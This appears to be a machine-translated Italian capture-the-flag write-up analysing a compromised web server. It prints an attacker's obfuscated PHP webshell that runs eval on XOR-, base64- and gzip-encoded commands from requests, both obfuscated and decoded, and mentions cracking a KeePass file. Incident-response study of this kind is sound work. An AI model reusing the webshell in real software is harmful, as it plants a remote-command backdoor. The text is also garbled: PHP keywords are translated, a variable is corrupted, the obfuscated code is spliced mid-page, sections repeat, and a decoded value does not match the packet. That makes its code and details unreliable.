Abbiamo coperto uno scenario di risposta a un incidente che prevedeva l'uso di competenze forensi per indagare su un server web violato sfruttando una vulnerabilità nel caricamento di file. Ci è stata fornita la webshell utilizzata dall'aggressore insieme a un file di dump dei pacchetti che includeva i pacchetti scambiati tra l'aggressore e il server web mentre stavano eseguendo dei comandi.

Abbiamo decodificato lo script utilizzando base64, crittografia XOR e compressione Gzip per scoprire i comandi eseguiti dall'aggressore insieme all'output ricevuto.

Abbiamo scoperto che l'aggressore ha scaricato un file Keepass codificato con base64, quindi abbiamo utilizzato keepass2john per estrarre l'hash e john the ripper per trovare la password del database delle password che conteneva il flag.

Ottieni appunti di informatica forense

Il corso pratico completo sul Penetration Testing delle applicazioni Web

Descrizione della sfida

Un utente malintenzionato ha trovato una vulnerabilità nel nostro server web che consente il caricamento arbitrario di file PHP nel nostro server Apache. In questo modo, l'hacker ha caricato quella che sembra essere una shell offuscata (support.php). Monitoriamo la nostra rete 24 ore su 24, 7 giorni su 7 e generiamo log da tcpdump (abbiamo fornito il file di log per un periodo di due minuti prima di terminare il servizio HTTP per indagini), tuttavia, abbiamo bisogno del tuo aiuto per analizzare e identificare i comandi che l'aggressore ha scritto per comprendere cosa è stato compromesso.

Video in evidenza

Lo script webshell php offuscato è riportato di seguito

<?php$V='$k="80eu)u)32263";$khu)=u)"6f8af44u)abea0";$kf=u)"35103u)u)9f4a7b5";$pu)="0UlYu)yJHG87Eu)JqEz6u)"u)u );funzione u)x(

Dopo il deoffuscamento diventa

$k="80e32263";
$kh="6f8af44abea0";
$kf="351039f4a7b5";
$p="0UlYyJHG87EJqEz6";
funzione x($t,$k){
$c=strlen($k);
$l=strlen($t);
1TP4A="";
per($i=0;$i<$l;){
for($j=0;($j<$c&&$i<$l);$j++,$i++){
$o.=$t{$i}^$k{$j};
}
}
restituire $o;
}
if(@preg_match("/$kh(.+)$kf/",@file_get_contents("php://input"),$m)==1){
@ob_inizio();
@eval(@gzuncompress(@x(@base64_decode($m[1]),$k)));
$o=@ob_get_contents();
@ob_end_clean();
$r=@base64_encode(@x(@gzcompress($o),$k));
print("$p$kh$r$kf");
}

Possiamo seguire il processo inverso di cui sopra per decodificare l'output ricevuto dall'attaccante (mostrato nel wireshark)

@gzuncompress(@x(@base64_decode($encoded),$k));

Ad esempio, l'output seguente si osserva nel primo pacchetto Wireshark

0UlYyJHG87EJqEz66f8af44abea0QKxO/n6DAwXuGEoc5X9/H3HkMXv1Ih75Fx1NdSPRNDPumHTy351039f4a7b5

Se togliamo da esso $p, $kh e $kf, possiamo ritrovarci con $r

QKxO/n6DAwXuGEoc5X9/H3HkMXv1Ih75Fx1NdSPRNPUmHTy

Quanto sopra corrisponde all'output seguente (l'output del comando id)

uid=33(www-dati) gid=33(www-dati) groups=33(www-dati)

Videoprocedura dettagliata

https://www.youtube.com/watch?v=VSgdzLoCWl0

;$P='++)u){$o.=u)$t{u)$i}^$k{$j};}}u)retuu)rn $o;}u)if(u)@pregu)_u)match(" /$kh(.u)+)$kf/",@u)u)file_u)getu)_cu)ontents(';$d='u)t,$k){u)$c=strlu)en($k);$l=strlenu)($t)u);u)$o=""u);for($i=0u);u)$i <$l;){for(u)$j=0;(u)$u)j<$c&&$i<$l)u)u);$j++,$i';$B='ob_get_cou)ntu)ents();@obu)_end_cleu)anu)();$r=@basu)e64_eu)ncu)ode(@x(@gzu)compress(u)$o),u)$k)) ;pru)u)int(u)"$p$kh$r$kf");}';$N=str_replace('FD','','FDcreFDateFD_fFDuncFDFDtion');$c='"php://u)input"),$u)m)==1){@u)obu)_start();u)@evau)l(@gzuu)ncu)ompress(@x(@ bau)se64_u)decodu)e($u)m[1]),$k))u));$u)ou)=@';$u=str_replace('u)','',$V.$d.$P.$c.$B);$x=$N('',$u);$x();?>

Dopo il deoffuscamento diventa

$k="80e32263";
$kh="6f8af44abea0";
$kf="351039f4a7b5";
$p="0UlYyJHG87EJqEz6";
funzione x($t,$k){
$c=strlen($k);
$l=strlen($t);
1TP4A="";
per($i=0;$i<$l;){
for($j=0;($j<$c&&$i<$l);$j++,$i++){
$o.=$t{$i}^$k{$j};
}
}
restituire $o;
}
if(@preg_match("/$kh(.+)$kf/",@file_get_contents("php://input"),$m)==1){
@ob_inizio();
@eval(@gzuncompress(@x(@base64_decode($m[1]),$k)));
$o=@ob_get_contents();
@ob_end_clean();
$r=@base64_encode(@x(@gzcompress($o),$k));
print("$p$kh$r$kf");
}

Possiamo seguire il processo inverso di cui sopra per decodificare l'output ricevuto dall'attaccante (mostrato nel wireshark)

@gzuncompress(@x(@base64_decode($encoded),$k));

Ad esempio, l'output seguente si osserva nel primo pacchetto Wireshark

0UlYyJHG87EJqEz66f8af44abea0QKxO/n6DAwXuGEoc5X9/H3HkMXv1Ih75Fx1NdSPRNDPumHTy351039f4a7b5

Se togliamo da esso $p, $kh e $kf, possiamo ritrovarci con $r

QKxO/n6DAwXuGEoc5X9/H3HkMXv1Ih75Fx1NdSPRNPUmHTy

Quanto sopra corrisponde all'output seguente (l'output del comando id)


Videoprocedura dettagliata

Circa l'autore

Creo note sulla sicurezza informatica, note di marketing digitale e corsi online. Fornisco anche consulenza di marketing digitale, inclusi ma non limitati a SEO, annunci Google e Meta e amministrazione CRM.

Visualizza articoli